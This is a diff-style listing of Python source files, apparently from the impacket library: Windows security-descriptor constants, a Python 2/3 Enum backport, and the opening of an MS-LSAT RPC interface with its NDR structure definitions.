('Control',USHORT),
|
||||
('Owner',PSID),
|
||||
('Group',PSID),
|
||||
('Sacl',PACL),
|
||||
('Dacl',PACL),
|
||||
)
|
||||
|
||||
# 2.4.7 SECURITY_INFORMATION
|
||||
OWNER_SECURITY_INFORMATION = 0x00000001
|
||||
GROUP_SECURITY_INFORMATION = 0x00000002
|
||||
DACL_SECURITY_INFORMATION = 0x00000004
|
||||
SACL_SECURITY_INFORMATION = 0x00000008
|
||||
LABEL_SECURITY_INFORMATION = 0x00000010
|
||||
UNPROTECTED_SACL_SECURITY_INFORMATION = 0x10000000
|
||||
UNPROTECTED_DACL_SECURITY_INFORMATION = 0x20000000
|
||||
PROTECTED_SACL_SECURITY_INFORMATION = 0x40000000
|
||||
PROTECTED_DACL_SECURITY_INFORMATION = 0x80000000
|
||||
ATTRIBUTE_SECURITY_INFORMATION = 0x00000020
|
||||
SCOPE_SECURITY_INFORMATION = 0x00000040
|
||||
BACKUP_SECURITY_INFORMATION = 0x00010000
|
||||
|
||||
SECURITY_INFORMATION = DWORD
|
||||
class PSECURITY_INFORMATION(NDRPOINTER):
|
||||
referent = (
|
||||
('Data', SECURITY_INFORMATION),
|
||||
)
|
||||
@@ -0,0 +1,754 @@
|
||||
"""Python Enumerations"""
|
||||
|
||||
import sys as _sys
|
||||
|
||||
__all__ = ['Enum', 'IntEnum', 'unique']
|
||||
|
||||
pyver = float('%s.%s' % _sys.version_info[:2])
|
||||
|
||||
try:
|
||||
any
|
||||
except NameError:
|
||||
def any(iterable):
|
||||
for element in iterable:
|
||||
if element:
|
||||
return True
|
||||
return False
|
||||
|
||||
|
||||
class _RouteClassAttributeToGetattr(object):
|
||||
"""Route attribute access on a class to __getattr__.
|
||||
|
||||
This is a descriptor, used to define attributes that act differently when
|
||||
accessed through an instance and through a class. Instance access remains
|
||||
normal, but access to an attribute through a class will be routed to the
|
||||
class's __getattr__ method; this is done by raising AttributeError.
|
||||
|
||||
"""
|
||||
def __init__(self, fget=None):
|
||||
self.fget = fget
|
||||
|
||||
def __get__(self, instance, ownerclass=None):
|
||||
if instance is None:
|
||||
raise AttributeError()
|
||||
return self.fget(instance)
|
||||
|
||||
def __set__(self, instance, value):
|
||||
raise AttributeError("can't set attribute")
|
||||
|
||||
def __delete__(self, instance):
|
||||
raise AttributeError("can't delete attribute")
|
||||
|
||||
|
||||
def _is_descriptor(obj):
|
||||
"""Returns True if obj is a descriptor, False otherwise."""
|
||||
return (
|
||||
hasattr(obj, '__get__') or
|
||||
hasattr(obj, '__set__') or
|
||||
hasattr(obj, '__delete__'))
|
||||
|
||||
|
||||
def _is_dunder(name):
|
||||
"""Returns True if a __dunder__ name, False otherwise."""
|
||||
return (name[:2] == name[-2:] == '__' and
|
||||
name[2:3] != '_' and
|
||||
name[-3:-2] != '_' and
|
||||
len(name) > 4)
|
||||
|
||||
|
||||
def _is_sunder(name):
|
||||
"""Returns True if a _sunder_ name, False otherwise."""
|
||||
return (name[0] == name[-1] == '_' and
|
||||
name[1:2] != '_' and
|
||||
name[-2:-1] != '_' and
|
||||
len(name) > 2)
|
||||
|
||||
|
||||
def _make_class_unpicklable(cls):
|
||||
"""Make the given class un-picklable."""
|
||||
def _break_on_call_reduce(self):
|
||||
raise TypeError('%r cannot be pickled' % self)
|
||||
cls.__reduce__ = _break_on_call_reduce
|
||||
cls.__module__ = '<unknown>'
|
||||
|
||||
|
||||
class _EnumDict(dict):
|
||||
"""Track enum member order and ensure member names are not reused.
|
||||
|
||||
EnumMeta will use the names found in self._member_names as the
|
||||
enumeration member names.
|
||||
|
||||
"""
|
||||
def __init__(self):
|
||||
super(_EnumDict, self).__init__()
|
||||
self._member_names = []
|
||||
|
||||
def __setitem__(self, key, value):
|
||||
"""Changes anything not dundered or not a descriptor.
|
||||
|
||||
If a descriptor is added with the same name as an enum member, the name
|
||||
is removed from _member_names (this may leave a hole in the numerical
|
||||
sequence of values).
|
||||
|
||||
If an enum member name is used twice, an error is raised; duplicate
|
||||
values are not checked for.
|
||||
|
||||
Single underscore (sunder) names are reserved.
|
||||
|
||||
Note: in 3.x __order__ is simply discarded as a not necessary piece
|
||||
leftover from 2.x
|
||||
|
||||
"""
|
||||
if pyver >= 3.0 and key == '__order__':
|
||||
return
|
||||
if _is_sunder(key):
|
||||
raise ValueError('_names_ are reserved for future Enum use')
|
||||
elif _is_dunder(key):
|
||||
pass
|
||||
elif key in self._member_names:
|
||||
# descriptor overwriting an enum?
|
||||
raise TypeError('Attempted to reuse key: %r' % key)
|
||||
elif not _is_descriptor(value):
|
||||
if key in self:
|
||||
# enum overwriting a descriptor?
|
||||
raise TypeError('Key already defined as: %r' % self[key])
|
||||
self._member_names.append(key)
|
||||
super(_EnumDict, self).__setitem__(key, value)
|
||||
|
||||
|
||||
# Dummy value for Enum as EnumMeta explicity checks for it, but of course until
|
||||
# EnumMeta finishes running the first time the Enum class doesn't exist. This
|
||||
# is also why there are checks in EnumMeta like `if Enum is not None`
|
||||
Enum = None
|
||||
|
||||
|
||||
class EnumMeta(type):
|
||||
"""Metaclass for Enum"""
|
||||
@classmethod
|
||||
def __prepare__(metacls, cls, bases):
|
||||
return _EnumDict()
|
||||
|
||||
def __new__(metacls, cls, bases, classdict):
|
||||
# an Enum class is final once enumeration items have been defined; it
|
||||
# cannot be mixed with other types (int, float, etc.) if it has an
|
||||
# inherited __new__ unless a new __new__ is defined (or the resulting
|
||||
# class will fail).
|
||||
if type(classdict) is dict:
|
||||
original_dict = classdict
|
||||
classdict = _EnumDict()
|
||||
for k, v in original_dict.items():
|
||||
classdict[k] = v
|
||||
|
||||
member_type, first_enum = metacls._get_mixins_(bases)
|
||||
#if member_type is object:
|
||||
# use_args = False
|
||||
#else:
|
||||
# use_args = True
|
||||
__new__, save_new, use_args = metacls._find_new_(classdict, member_type,
|
||||
first_enum)
|
||||
# save enum items into separate mapping so they don't get baked into
|
||||
# the new class
|
||||
members = dict((k, classdict[k]) for k in classdict._member_names)
|
||||
for name in classdict._member_names:
|
||||
del classdict[name]
|
||||
|
||||
# py2 support for definition order
|
||||
__order__ = classdict.get('__order__')
|
||||
if __order__ is None:
|
||||
__order__ = classdict._member_names
|
||||
if pyver < 3.0:
|
||||
order_specified = False
|
||||
else:
|
||||
order_specified = True
|
||||
else:
|
||||
del classdict['__order__']
|
||||
order_specified = True
|
||||
if pyver < 3.0:
|
||||
__order__ = __order__.replace(',', ' ').split()
|
||||
aliases = [name for name in members if name not in __order__]
|
||||
__order__ += aliases
|
||||
|
||||
# check for illegal enum names (any others?)
|
||||
invalid_names = set(members) & set(['mro'])
|
||||
if invalid_names:
|
||||
raise ValueError('Invalid enum member name(s): %s' % (
|
||||
', '.join(invalid_names), ))
|
||||
|
||||
# create our new Enum type
|
||||
enum_class = super(EnumMeta, metacls).__new__(metacls, cls, bases, classdict)
|
||||
enum_class._member_names_ = [] # names in random order
|
||||
enum_class._member_map_ = {} # name->value map
|
||||
enum_class._member_type_ = member_type
|
||||
|
||||
# Reverse value->name map for hashable values.
|
||||
enum_class._value2member_map_ = {}
|
||||
|
||||
# check for a __getnewargs__, and if not present sabotage
|
||||
# pickling, since it won't work anyway
|
||||
if (member_type is not object and
|
||||
member_type.__dict__.get('__getnewargs__') is None
|
||||
):
|
||||
_make_class_unpicklable(enum_class)
|
||||
|
||||
# instantiate them, checking for duplicates as we go
|
||||
# we instantiate first instead of checking for duplicates first in case
|
||||
# a custom __new__ is doing something funky with the values -- such as
|
||||
# auto-numbering ;)
|
||||
if __new__ is None:
|
||||
__new__ = enum_class.__new__
|
||||
for member_name in __order__:
|
||||
value = members[member_name]
|
||||
if not isinstance(value, tuple):
|
||||
args = (value, )
|
||||
else:
|
||||
args = value
|
||||
if member_type is tuple: # special case for tuple enums
|
||||
args = (args, ) # wrap it one more time
|
||||
if not use_args or not args:
|
||||
enum_member = __new__(enum_class)
|
||||
if not hasattr(enum_member, '_value_'):
|
||||
enum_member._value_ = value
|
||||
else:
|
||||
enum_member = __new__(enum_class, *args)
|
||||
if not hasattr(enum_member, '_value_'):
|
||||
enum_member._value_ = member_type(*args)
|
||||
value = enum_member._value_
|
||||
enum_member._name_ = member_name
|
||||
enum_member.__objclass__ = enum_class
|
||||
enum_member.__init__(*args)
|
||||
# If another member with the same value was already defined, the
|
||||
# new member becomes an alias to the existing one.
|
||||
for name, canonical_member in enum_class._member_map_.items():
|
||||
if canonical_member.value == enum_member._value_:
|
||||
enum_member = canonical_member
|
||||
break
|
||||
else:
|
||||
# Aliases don't appear in member names (only in __members__).
|
||||
enum_class._member_names_.append(member_name)
|
||||
enum_class._member_map_[member_name] = enum_member
|
||||
try:
|
||||
# This may fail if value is not hashable. We can't add the value
|
||||
# to the map, and by-value lookups for this value will be
|
||||
# linear.
|
||||
enum_class._value2member_map_[value] = enum_member
|
||||
except TypeError:
|
||||
pass
|
||||
|
||||
# in Python2.x we cannot know definition order, so go with value order
|
||||
# unless __order__ was specified in the class definition
|
||||
if not order_specified:
|
||||
enum_class._member_names_ = [
|
||||
e[0] for e in sorted(
|
||||
[(name, enum_class._member_map_[name]) for name in enum_class._member_names_],
|
||||
key=lambda t: t[1]._value_
|
||||
)]
|
||||
|
||||
# double check that repr and friends are not the mixin's or various
|
||||
# things break (such as pickle)
|
||||
if Enum is not None:
|
||||
setattr(enum_class, '__getnewargs__', Enum.__getnewargs__)
|
||||
for name in ('__repr__', '__str__', '__format__'):
|
||||
class_method = getattr(enum_class, name)
|
||||
obj_method = getattr(member_type, name, None)
|
||||
enum_method = getattr(first_enum, name, None)
|
||||
if obj_method is not None and obj_method is class_method:
|
||||
setattr(enum_class, name, enum_method)
|
||||
|
||||
# method resolution and int's are not playing nice
|
||||
# Python's less than 2.6 use __cmp__
|
||||
|
||||
if pyver < 2.6:
|
||||
|
||||
if issubclass(enum_class, int):
|
||||
setattr(enum_class, '__cmp__', getattr(int, '__cmp__'))
|
||||
|
||||
elif pyver < 3.0:
|
||||
|
||||
if issubclass(enum_class, int):
|
||||
for method in (
|
||||
'__le__',
|
||||
'__lt__',
|
||||
'__gt__',
|
||||
'__ge__',
|
||||
'__eq__',
|
||||
'__ne__',
|
||||
'__hash__',
|
||||
):
|
||||
setattr(enum_class, method, getattr(int, method))
|
||||
|
||||
# replace any other __new__ with our own (as long as Enum is not None,
|
||||
# anyway) -- again, this is to support pickle
|
||||
if Enum is not None:
|
||||
# if the user defined their own __new__, save it before it gets
|
||||
# clobbered in case they subclass later
|
||||
if save_new:
|
||||
setattr(enum_class, '__member_new__', enum_class.__dict__['__new__'])
|
||||
setattr(enum_class, '__new__', Enum.__dict__['__new__'])
|
||||
return enum_class
|
||||
|
||||
def __call__(cls, value, names=None, module=None, type=None):
|
||||
"""Either returns an existing member, or creates a new enum class.
|
||||
|
||||
This method is used both when an enum class is given a value to match
|
||||
to an enumeration member (i.e. Color(3)) and for the functional API
|
||||
(i.e. Color = Enum('Color', names='red green blue')).
|
||||
|
||||
When used for the functional API: `module`, if set, will be stored in
|
||||
the new class' __module__ attribute; `type`, if set, will be mixed in
|
||||
as the first base class.
|
||||
|
||||
Note: if `module` is not set this routine will attempt to discover the
|
||||
calling module by walking the frame stack; if this is unsuccessful
|
||||
the resulting class will not be pickleable.
|
||||
|
||||
"""
|
||||
if names is None: # simple value lookup
|
||||
return cls.__new__(cls, value)
|
||||
# otherwise, functional API: we're creating a new Enum type
|
||||
return cls._create_(value, names, module=module, type=type)
|
||||
|
||||
def __contains__(cls, member):
|
||||
return isinstance(member, cls) and member.name in cls._member_map_
|
||||
|
||||
def __delattr__(cls, attr):
|
||||
# nicer error message when someone tries to delete an attribute
|
||||
# (see issue19025).
|
||||
if attr in cls._member_map_:
|
||||
raise AttributeError(
|
||||
"%s: cannot delete Enum member." % cls.__name__)
|
||||
super(EnumMeta, cls).__delattr__(attr)
|
||||
|
||||
def __dir__(self):
|
||||
return (['__class__', '__doc__', '__members__', '__module__'] +
|
||||
self._member_names_)
|
||||
|
||||
@property
|
||||
def __members__(cls):
|
||||
"""Returns a mapping of member name->value.
|
||||
|
||||
This mapping lists all enum members, including aliases. Note that this
|
||||
is a copy of the internal mapping.
|
||||
|
||||
"""
|
||||
return cls._member_map_.copy()
|
||||
|
||||
def __getattr__(cls, name):
|
||||
"""Return the enum member matching `name`
|
||||
|
||||
We use __getattr__ instead of descriptors or inserting into the enum
|
||||
class' __dict__ in order to support `name` and `value` being both
|
||||
properties for enum members (which live in the class' __dict__) and
|
||||
enum members themselves.
|
||||
|
||||
"""
|
||||
if _is_dunder(name):
|
||||
raise AttributeError(name)
|
||||
try:
|
||||
return cls._member_map_[name]
|
||||
except KeyError:
|
||||
raise AttributeError(name)
|
||||
|
||||
def __getitem__(cls, name):
|
||||
return cls._member_map_[name]
|
||||
|
||||
def __iter__(cls):
|
||||
return (cls._member_map_[name] for name in cls._member_names_)
|
||||
|
||||
def __reversed__(cls):
|
||||
return (cls._member_map_[name] for name in reversed(cls._member_names_))
|
||||
|
||||
def __len__(cls):
|
||||
return len(cls._member_names_)
|
||||
|
||||
def __repr__(cls):
|
||||
return "<enum %r>" % cls.__name__
|
||||
|
||||
def __setattr__(cls, name, value):
|
||||
"""Block attempts to reassign Enum members.
|
||||
|
||||
A simple assignment to the class namespace only changes one of the
|
||||
several possible ways to get an Enum member from the Enum class,
|
||||
resulting in an inconsistent Enumeration.
|
||||
|
||||
"""
|
||||
member_map = cls.__dict__.get('_member_map_', {})
|
||||
if name in member_map:
|
||||
raise AttributeError('Cannot reassign members.')
|
||||
super(EnumMeta, cls).__setattr__(name, value)
|
||||
|
||||
def _create_(cls, class_name, names=None, module=None, type=None):
|
||||
"""Convenience method to create a new Enum class.
|
||||
|
||||
`names` can be:
|
||||
|
||||
* A string containing member names, separated either with spaces or
|
||||
commas. Values are auto-numbered from 1.
|
||||
* An iterable of member names. Values are auto-numbered from 1.
|
||||
* An iterable of (member name, value) pairs.
|
||||
* A mapping of member name -> value.
|
||||
|
||||
"""
|
||||
metacls = cls.__class__
|
||||
if type is None:
|
||||
bases = (cls, )
|
||||
else:
|
||||
bases = (type, cls)
|
||||
classdict = metacls.__prepare__(class_name, bases)
|
||||
__order__ = []
|
||||
|
||||
# special processing needed for names?
|
||||
if isinstance(names, str):
|
||||
names = names.replace(',', ' ').split()
|
||||
if isinstance(names, (tuple, list)) and isinstance(names[0], str):
|
||||
names = [(e, i+1) for (i, e) in enumerate(names)]
|
||||
|
||||
# Here, names is either an iterable of (name, value) or a mapping.
|
||||
for item in names:
|
||||
if isinstance(item, str):
|
||||
member_name, member_value = item, names[item]
|
||||
else:
|
||||
member_name, member_value = item
|
||||
classdict[member_name] = member_value
|
||||
__order__.append(member_name)
|
||||
# only set __order__ in classdict if name/value was not from a mapping
|
||||
if not isinstance(item, str):
|
||||
classdict['__order__'] = ' '.join(__order__)
|
||||
enum_class = metacls.__new__(metacls, class_name, bases, classdict)
|
||||
|
||||
# TODO: replace the frame hack if a blessed way to know the calling
|
||||
# module is ever developed
|
||||
if module is None:
|
||||
try:
|
||||
module = _sys._getframe(2).f_globals['__name__']
|
||||
except (AttributeError, ValueError):
|
||||
pass
|
||||
if module is None:
|
||||
_make_class_unpicklable(enum_class)
|
||||
else:
|
||||
enum_class.__module__ = module
|
||||
|
||||
return enum_class
|
||||
|
||||
@staticmethod
|
||||
def _get_mixins_(bases):
|
||||
"""Returns the type for creating enum members, and the first inherited
|
||||
enum class.
|
||||
|
||||
bases: the tuple of bases that was given to __new__
|
||||
|
||||
"""
|
||||
if not bases or Enum is None:
|
||||
return object, Enum
|
||||
|
||||
|
||||
# double check that we are not subclassing a class with existing
|
||||
# enumeration members; while we're at it, see if any other data
|
||||
# type has been mixed in so we can use the correct __new__
|
||||
member_type = first_enum = None
|
||||
for base in bases:
|
||||
if (base is not Enum and
|
||||
issubclass(base, Enum) and
|
||||
base._member_names_):
|
||||
raise TypeError("Cannot extend enumerations")
|
||||
# base is now the last base in bases
|
||||
if not issubclass(base, Enum):
|
||||
raise TypeError("new enumerations must be created as "
|
||||
"`ClassName([mixin_type,] enum_type)`")
|
||||
|
||||
# get correct mix-in type (either mix-in type of Enum subclass, or
|
||||
# first base if last base is Enum)
|
||||
if not issubclass(bases[0], Enum):
|
||||
member_type = bases[0] # first data type
|
||||
first_enum = bases[-1] # enum type
|
||||
else:
|
||||
for base in bases[0].__mro__:
|
||||
# most common: (IntEnum, int, Enum, object)
|
||||
# possible: (<Enum 'AutoIntEnum'>, <Enum 'IntEnum'>,
|
||||
# <class 'int'>, <Enum 'Enum'>,
|
||||
# <class 'object'>)
|
||||
if issubclass(base, Enum):
|
||||
if first_enum is None:
|
||||
first_enum = base
|
||||
else:
|
||||
if member_type is None:
|
||||
member_type = base
|
||||
|
||||
return member_type, first_enum
|
||||
|
||||
if pyver < 3.0:
|
||||
@staticmethod
|
||||
def _find_new_(classdict, member_type, first_enum):
|
||||
"""Returns the __new__ to be used for creating the enum members.
|
||||
|
||||
classdict: the class dictionary given to __new__
|
||||
member_type: the data type whose __new__ will be used by default
|
||||
first_enum: enumeration to check for an overriding __new__
|
||||
|
||||
"""
|
||||
# now find the correct __new__, checking to see of one was defined
|
||||
# by the user; also check earlier enum classes in case a __new__ was
|
||||
# saved as __member_new__
|
||||
__new__ = classdict.get('__new__', None)
|
||||
if __new__:
|
||||
return None, True, True # __new__, save_new, use_args
|
||||
|
||||
N__new__ = getattr(None, '__new__')
|
||||
O__new__ = getattr(object, '__new__')
|
||||
if Enum is None:
|
||||
E__new__ = N__new__
|
||||
else:
|
||||
E__new__ = Enum.__dict__['__new__']
|
||||
# check all possibles for __member_new__ before falling back to
|
||||
# __new__
|
||||
for method in ('__member_new__', '__new__'):
|
||||
for possible in (member_type, first_enum):
|
||||
try:
|
||||
target = possible.__dict__[method]
|
||||
except (AttributeError, KeyError):
|
||||
target = getattr(possible, method, None)
|
||||
if target not in [
|
||||
None,
|
||||
N__new__,
|
||||
O__new__,
|
||||
E__new__,
|
||||
]:
|
||||
if method == '__member_new__':
|
||||
classdict['__new__'] = target
|
||||
return None, False, True
|
||||
if isinstance(target, staticmethod):
|
||||
target = target.__get__(member_type)
|
||||
__new__ = target
|
||||
break
|
||||
if __new__ is not None:
|
||||
break
|
||||
else:
|
||||
__new__ = object.__new__
|
||||
|
||||
# if a non-object.__new__ is used then whatever value/tuple was
|
||||
# assigned to the enum member name will be passed to __new__ and to the
|
||||
# new enum member's __init__
|
||||
if __new__ is object.__new__:
|
||||
use_args = False
|
||||
else:
|
||||
use_args = True
|
||||
|
||||
return __new__, False, use_args
|
||||
else:
|
||||
@staticmethod
|
||||
def _find_new_(classdict, member_type, first_enum):
|
||||
"""Returns the __new__ to be used for creating the enum members.
|
||||
|
||||
classdict: the class dictionary given to __new__
|
||||
member_type: the data type whose __new__ will be used by default
|
||||
first_enum: enumeration to check for an overriding __new__
|
||||
|
||||
"""
|
||||
# now find the correct __new__, checking to see of one was defined
|
||||
# by the user; also check earlier enum classes in case a __new__ was
|
||||
# saved as __member_new__
|
||||
__new__ = classdict.get('__new__', None)
|
||||
|
||||
# should __new__ be saved as __member_new__ later?
|
||||
save_new = __new__ is not None
|
||||
|
||||
if __new__ is None:
|
||||
# check all possibles for __member_new__ before falling back to
|
||||
# __new__
|
||||
for method in ('__member_new__', '__new__'):
|
||||
for possible in (member_type, first_enum):
|
||||
target = getattr(possible, method, None)
|
||||
if target not in (
|
||||
None,
|
||||
None.__new__,
|
||||
object.__new__,
|
||||
Enum.__new__,
|
||||
):
|
||||
__new__ = target
|
||||
break
|
||||
if __new__ is not None:
|
||||
break
|
||||
else:
|
||||
__new__ = object.__new__
|
||||
|
||||
# if a non-object.__new__ is used then whatever value/tuple was
|
||||
# assigned to the enum member name will be passed to __new__ and to the
|
||||
# new enum member's __init__
|
||||
if __new__ is object.__new__:
|
||||
use_args = False
|
||||
else:
|
||||
use_args = True
|
||||
|
||||
return __new__, save_new, use_args
|
||||
|
||||
|
||||
########################################################
|
||||
# In order to support Python 2 and 3 with a single
|
||||
# codebase we have to create the Enum methods separately
|
||||
# and then use the `type(name, bases, dict)` method to
|
||||
# create the class.
|
||||
########################################################
|
||||
temp_enum_dict = {}
|
||||
temp_enum_dict['__doc__'] = "Generic enumeration.\n\n Derive from this class to define new enumerations.\n\n"
|
||||
|
||||
def __new__(cls, value):
|
||||
# all enum instances are actually created during class construction
|
||||
# without calling this method; this method is called by the metaclass'
|
||||
# __call__ (i.e. Color(3) ), and by pickle
|
||||
if type(value) is cls:
|
||||
# For lookups like Color(Color.red)
|
||||
value = value.value
|
||||
#return value
|
||||
# by-value search for a matching enum member
|
||||
# see if it's in the reverse mapping (for hashable values)
|
||||
try:
|
||||
if value in cls._value2member_map_:
|
||||
return cls._value2member_map_[value]
|
||||
except TypeError:
|
||||
# not there, now do long search -- O(n) behavior
|
||||
for member in cls._member_map_.values():
|
||||
if member.value == value:
|
||||
return member
|
||||
raise ValueError("%s is not a valid %s" % (value, cls.__name__))
|
||||
temp_enum_dict['__new__'] = __new__
|
||||
del __new__
|
||||
|
||||
def __repr__(self):
|
||||
return "<%s.%s: %r>" % (
|
||||
self.__class__.__name__, self._name_, self._value_)
|
||||
temp_enum_dict['__repr__'] = __repr__
|
||||
del __repr__
|
||||
|
||||
def __str__(self):
|
||||
return "%s.%s" % (self.__class__.__name__, self._name_)
|
||||
temp_enum_dict['__str__'] = __str__
|
||||
del __str__
|
||||
|
||||
def __dir__(self):
|
||||
added_behavior = [m for m in self.__class__.__dict__ if m[0] != '_']
|
||||
return (['__class__', '__doc__', '__module__', 'name', 'value'] + added_behavior)
|
||||
temp_enum_dict['__dir__'] = __dir__
|
||||
del __dir__
|
||||
|
||||
def __format__(self, format_spec):
|
||||
# mixed-in Enums should use the mixed-in type's __format__, otherwise
|
||||
# we can get strange results with the Enum name showing up instead of
|
||||
# the value
|
||||
|
||||
# pure Enum branch
|
||||
if self._member_type_ is object:
|
||||
cls = str
|
||||
val = str(self)
|
||||
# mix-in branch
|
||||
else:
|
||||
cls = self._member_type_
|
||||
val = self.value
|
||||
return cls.__format__(val, format_spec)
|
||||
temp_enum_dict['__format__'] = __format__
|
||||
del __format__
|
||||
|
||||
|
||||
####################################
|
||||
# Python's less than 2.6 use __cmp__
|
||||
|
||||
if pyver < 2.6:
|
||||
|
||||
def __cmp__(self, other):
|
||||
if type(other) is self.__class__:
|
||||
if self is other:
|
||||
return 0
|
||||
return -1
|
||||
return NotImplemented
|
||||
raise TypeError("unorderable types: %s() and %s()" % (self.__class__.__name__, other.__class__.__name__))
|
||||
temp_enum_dict['__cmp__'] = __cmp__
|
||||
del __cmp__
|
||||
|
||||
else:
|
||||
|
||||
def __le__(self, other):
|
||||
raise TypeError("unorderable types: %s() <= %s()" % (self.__class__.__name__, other.__class__.__name__))
|
||||
temp_enum_dict['__le__'] = __le__
|
||||
del __le__
|
||||
|
||||
def __lt__(self, other):
|
||||
raise TypeError("unorderable types: %s() < %s()" % (self.__class__.__name__, other.__class__.__name__))
|
||||
temp_enum_dict['__lt__'] = __lt__
|
||||
del __lt__
|
||||
|
||||
def __ge__(self, other):
|
||||
raise TypeError("unorderable types: %s() >= %s()" % (self.__class__.__name__, other.__class__.__name__))
|
||||
temp_enum_dict['__ge__'] = __ge__
|
||||
del __ge__
|
||||
|
||||
def __gt__(self, other):
|
||||
raise TypeError("unorderable types: %s() > %s()" % (self.__class__.__name__, other.__class__.__name__))
|
||||
temp_enum_dict['__gt__'] = __gt__
|
||||
del __gt__
|
||||
|
||||
|
||||
def __eq__(self, other):
|
||||
if type(other) is self.__class__:
|
||||
return self is other
|
||||
return NotImplemented
|
||||
temp_enum_dict['__eq__'] = __eq__
|
||||
del __eq__
|
||||
|
||||
def __ne__(self, other):
|
||||
if type(other) is self.__class__:
|
||||
return self is not other
|
||||
return NotImplemented
|
||||
temp_enum_dict['__ne__'] = __ne__
|
||||
del __ne__
|
||||
|
||||
def __getnewargs__(self):
|
||||
return (self._value_, )
|
||||
temp_enum_dict['__getnewargs__'] = __getnewargs__
|
||||
del __getnewargs__
|
||||
|
||||
def __hash__(self):
|
||||
return hash(self._name_)
|
||||
temp_enum_dict['__hash__'] = __hash__
|
||||
del __hash__
|
||||
|
||||
# _RouteClassAttributeToGetattr is used to provide access to the `name`
|
||||
# and `value` properties of enum members while keeping some measure of
|
||||
# protection from modification, while still allowing for an enumeration
|
||||
# to have members named `name` and `value`. This works because enumeration
|
||||
# members are not set directly on the enum class -- __getattr__ is
|
||||
# used to look them up.
|
||||
|
||||
@_RouteClassAttributeToGetattr
|
||||
def name(self):
|
||||
return self._name_
|
||||
temp_enum_dict['name'] = name
|
||||
del name
|
||||
|
||||
@_RouteClassAttributeToGetattr
|
||||
def value(self):
|
||||
return self._value_
|
||||
temp_enum_dict['value'] = value
|
||||
del value
|
||||
|
||||
Enum = EnumMeta('Enum', (object, ), temp_enum_dict)
|
||||
del temp_enum_dict
|
||||
|
||||
# Enum has now been created
|
||||
###########################
|
||||
|
||||
class IntEnum(int, Enum):
|
||||
"""Enum where members are also (and must be) ints"""
|
||||
|
||||
|
||||
def unique(enumeration):
|
||||
"""Class decorator that ensures only unique members exist in an enumeration."""
|
||||
duplicates = []
|
||||
for name, member in enumeration.__members__.items():
|
||||
if name != member.name:
|
||||
duplicates.append((name, member.name))
|
||||
if duplicates:
|
||||
duplicate_names = ', '.join(
|
||||
["%s -> %s" % (alias, name) for (alias, name) in duplicates]
|
||||
)
|
||||
raise ValueError('duplicate names found in %r: %s' %
|
||||
(enumeration, duplicate_names)
|
||||
)
|
||||
return enumeration
|
||||
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,498 @@
|
||||
# Copyright (c) 2003-2016 CORE Security Technologies
|
||||
#
|
||||
# This software is provided under under a slightly modified version
|
||||
# of the Apache Software License. See the accompanying LICENSE file
|
||||
# for more information.
|
||||
#
|
||||
# Author: Alberto Solino (@agsolino)
|
||||
#
|
||||
# Description:
|
||||
# [MS-LSAT] Interface implementation
|
||||
#
|
||||
# Best way to learn how to use these calls is to grab the protocol standard
|
||||
# so you understand what the call does, and then read the test case located
|
||||
# at https://github.com/CoreSecurity/impacket/tree/master/impacket/testcases/SMB_RPC
|
||||
#
|
||||
# Some calls have helper functions, which makes it even easier to use.
|
||||
# They are located at the end of this file.
|
||||
# Helper functions start with "h"<name of the call>.
|
||||
# There are test cases for them too.
|
||||
#
|
||||
from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRENUM, NDRPOINTER, NDRUniConformantArray
|
||||
from impacket.dcerpc.v5.dtypes import ULONG, LONG, PRPC_SID, RPC_UNICODE_STRING, LPWSTR, PRPC_UNICODE_STRING, NTSTATUS, \
|
||||
NULL
|
||||
from impacket import nt_errors
|
||||
from impacket.uuid import uuidtup_to_bin
|
||||
from impacket.dcerpc.v5.enum import Enum
|
||||
from impacket.dcerpc.v5.lsad import LSAPR_HANDLE, LSAPR_ACL, SECURITY_DESCRIPTOR_CONTROL, LSAPR_SECURITY_DESCRIPTOR, \
|
||||
PLSAPR_SECURITY_DESCRIPTOR, SECURITY_IMPERSONATION_LEVEL, SECURITY_CONTEXT_TRACKING_MODE, \
|
||||
SECURITY_QUALITY_OF_SERVICE, LSAPR_OBJECT_ATTRIBUTES, LSAPR_TRUST_INFORMATION, PLSAPR_TRUST_INFORMATION_ARRAY, \
|
||||
PRPC_UNICODE_STRING_ARRAY, LsarOpenPolicy2, LsarOpenPolicy, LsarClose, hLsarOpenPolicy2, hLsarOpenPolicy, hLsarClose
|
||||
from impacket.dcerpc.v5.samr import SID_NAME_USE
|
||||
from impacket.dcerpc.v5.rpcrt import DCERPCException
|
||||
|
||||
MSRPC_UUID_LSAT = uuidtup_to_bin(('12345778-1234-ABCD-EF00-0123456789AB','0.0'))
|
||||
|
||||
class DCERPCSessionError(DCERPCException):
|
||||
def __init__(self, error_string=None, error_code=None, packet=None):
|
||||
DCERPCException.__init__(self, error_string, error_code, packet)
|
||||
|
||||
def __str__( self ):
|
||||
key = self.error_code
|
||||
if nt_errors.ERROR_MESSAGES.has_key(key):
|
||||
error_msg_short = nt_errors.ERROR_MESSAGES[key][0]
|
||||
error_msg_verbose = nt_errors.ERROR_MESSAGES[key][1]
|
||||
return 'LSAT SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)
|
||||
else:
|
||||
return 'LSAT SessionError: unknown error code: 0x%x' % self.error_code
|
||||
|
||||
################################################################################
|
||||
# CONSTANTS
|
||||
################################################################################
|
||||
# 2.2.10 ACCESS_MASK
|
||||
POLICY_LOOKUP_NAMES = 0x00000800
|
||||
|
||||
################################################################################
|
||||
# STRUCTURES
|
||||
################################################################################
|
||||
# 2.2.12 LSAPR_REFERENCED_DOMAIN_LIST
|
||||
class LSAPR_REFERENCED_DOMAIN_LIST(NDRSTRUCT):
|
||||
structure = (
|
||||
('Entries', ULONG),
|
||||
('Domains', PLSAPR_TRUST_INFORMATION_ARRAY),
|
||||
('MaxEntries', ULONG),
|
||||
)
|
||||
|
||||
class PLSAPR_REFERENCED_DOMAIN_LIST(NDRPOINTER):
|
||||
referent = (
|
||||
('Data', LSAPR_REFERENCED_DOMAIN_LIST),
|
||||
)
|
||||
|
||||
# 2.2.14 LSA_TRANSLATED_SID
|
||||
class LSA_TRANSLATED_SID(NDRSTRUCT):
|
||||
structure = (
|
||||
('Use', SID_NAME_USE),
|
||||
('RelativeId', ULONG),
|
||||
('DomainIndex', LONG),
|
||||
)
|
||||
|
||||
# 2.2.15 LSAPR_TRANSLATED_SIDS
|
||||
class LSA_TRANSLATED_SID_ARRAY(NDRUniConformantArray):
|
||||
